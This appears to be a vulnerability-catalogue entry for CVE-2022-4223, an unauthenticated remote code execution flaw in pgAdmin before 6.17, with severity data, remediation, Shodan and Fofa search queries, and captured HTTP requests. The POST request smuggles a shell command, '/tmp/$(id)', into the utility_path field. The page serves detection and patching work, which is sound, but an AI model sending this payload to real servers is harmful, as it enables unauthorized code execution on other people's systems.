🔙 목록으로 돌아가기

CVE-2022-4223: pgAdmin < 6.17 - Unauthenticated Remote Code Execution

TitlepgAdmin < 6.17 - Unauthenticated Remote Code Execution
Author0x_Akoko
SeverityCritical
ImpactAttackers can execute arbitrary external utilities on the server, potentially leading to remote code execution or system compromise.
RemediationUpdate to version 6.17 or later to fix the security issue.
CVSS Score9.8
EPSS Score0.87113
CVE IDCVE-2022-4223
CWE IDCWE-94,CWE-862
Shodan Queryhttp.title:"pgAdmin"
Fofa Querytitle="pgAdmin"
Tags cve cve2022 pgadmin rce unauth

🔍 Vulnerability Description

pgAdmin prior to 6.17 contains an insecure HTTP API caused by improper access control, letting unauthenticated users execute arbitrary external utilities via path manipulation, exploit requires no authentication.

🌐 HTTP Request

GET /login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 Safari/601.3.9
Connection: close
Accept-Encoding: gzip
POST /misc/validate_binary_path HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:141.0) Gecko/20100101 Firefox/141.0
Connection: close
Content-Length: 29
Content-Type: application/json
Referer: //browser/
X-pgA-CSRFToken: RF8iXd
Accept-Encoding: gzip

{"utility_path":"/tmp/$(id)"}

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-4223.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-4223.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A